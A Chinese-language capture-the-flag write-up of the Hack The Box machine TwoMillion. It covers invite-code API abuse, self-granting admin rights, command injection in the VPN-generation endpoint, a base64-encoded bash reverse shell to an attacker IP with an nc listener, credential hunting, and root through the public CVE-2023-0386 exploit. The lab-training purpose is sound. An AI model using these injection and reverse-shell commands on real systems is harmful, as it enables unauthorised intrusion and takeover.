HTB_TwoMillion

HTB_TwoMillion

信息收集

先用nmap扫描哪些端口为开放状态

sudo nmap -sC -sV -p- 10.10.11.221 -oN 10.10.11.221.txt --min-rate 2000

image

在探测中发现了 2million.htb 域名信息(这里图片没有显示是因为我已经写到/etc/hosts​ 里面了

10.10.11.221 2million.htb​ 写到 /etc/hosts​ 里面

echo "10.10.11.221 2million.htb" | sudo tee -a /etc/hosts

渗透测试

有两个可以操作的接口,一个是Join,进入/invite,一个是login

/invite

image

这里注册需要一个邀请码,我们找一下邀请码生成的js文件,它做了混淆,我们可以放到 js 反混淆的解析网站上,解析一下

image

https://lelinhtinh.github.io/de4js/

解析过后代码

image

verifyInviteCode(code) —— 验证邀请码

makeInviteCode() —— 生成新的邀请码

我们可以直接POST访问/api/v1/invite/how/to/generate​生成邀请码

curl -X POST http://2million.htb/api/v1/invite/how/to/generate

image

ROT13解码得到/api/v1/invite/generate

curl -X POST http://2million.htb/api/v1/invite/generate

image

base64解密一下code

image

然后正常的注册登录

image

接下来就是测试,我这里先用dirsearch扫描了一下根目录路由

dirsearch -u http://2million.htb

image

这里有两个401问题的路由,也就是路由存在但是未授权

卡住了,看看HTB的官方引导

这里说让点击Connection Pack

image

bp抓包看一眼

image

所以这一步骤答案为/api/v1/user/vpn/generate

再次访问/api/v1路由就可成功访问

image

在最下面看到了最敏感的admin路由

image

我们按照它规定的传参方式依次传参

/api/v1/admin/auth

检查不是管理员,返回false

image

/api/v1/admin/vpn/generate

返回401

image

/api/v1/admin/settings/update

image

提示content-type不对

image

缺少参数email

image

缺少参数is_admin

image

成功设置为管理员权限

那么刚刚最先开始测试的返回401的接口/api/v1/admin/vpn/generate

再次尝试,返回200

image

根据提示补全字段后生成VPN证书

image

那么这个时候就该思考一下这个证书是怎么生成的,有没有可能是执行了一个linux命令生成了VPN证书

我们可以来测试下,先用;​结束语句再执行我们想执行的命令

image

执行成功!

获得普通用户权限

kali开启监听

nc -lvnp 9001

反弹shell

echo 'bash -i >& /dev/tcp/10.10.17.13/9001 0>&1' | base64

curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=a3761b60i490hn83mjcqu4rtld" --header "Content-Type: application/json" --data '{"username":"Dre4m;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4xMy85MDAxIDA+JjEK | base64 -d | bash;"}'

接收到数据

image

cat /etc/passwd

image

这里可以看到普通用户是admin,我们要想办法拿到这个权限

寻找用户名密码是否硬编码在了某些文件里

find . -type f -exec grep -iHn "password" {} +

image

用这个用户名密码进行登录

image

ssh登录一下

提权

find / -perm -u=s -type f 2>/dev/null

image

这是一个Ubuntu内核OverlayFS权限逃逸漏洞

所以看一下Ubuntu内核版本uname -r

为5.15.70-051570-generic

image

找到对应的EXP

https://github.com/sxlmnwb/CVE-2023-0386

clone到kali里面

scp CVE-2023-0386-master.zip admin@10.10.11.221:/home/admin/CVE-2023-0386-master.zip

ssh登录admin用户

1
2
3
4
5
6
7
cp CVE-2023-0386-master.zip /tmp/
cd /tmp
unzip CVE-2023-0386-master.zip
cd CVE-2023-0386-master/
make all
./fuse ./ovlcap/lower ./gc &
./exp

最后id​验证一下

image

拿到最后的flag

image


引导模式最后部分

[Alternative Priv Esc] What is the version of the GLIBC library on TwoMillion?

ldd --version​命令查看

image

[Alternative Priv Esc] What is the CVE ID for the 2023 buffer overflow vulnerability in the GNU C dynamic loader?

2023 年 GNU C Library(glibc)动态链接器 ld.so​ 中确实公开过一个缓冲区溢出漏洞,它的官方编号是:

CVE-2023-4911

又被称为 “Looney Tunables” 漏洞。

它是一个影响 GLIBC 动态加载器(ld.so) 的本地提权漏洞,允许本地用户提升到 root。

[Alternative Priv Esc] With a shell as admin or www-data, find a POC for Looney Tunables. What is the name of the environment variable that triggers the buffer overflow? After answering this question, run the POC and get a shell as root.

GLIBC_TUNABLES


HTB_TwoMillion
http://example.com/post/htbtwomillion-zdgxbe.html
作者
Dre4m
发布于
2025年10月20日
许可协议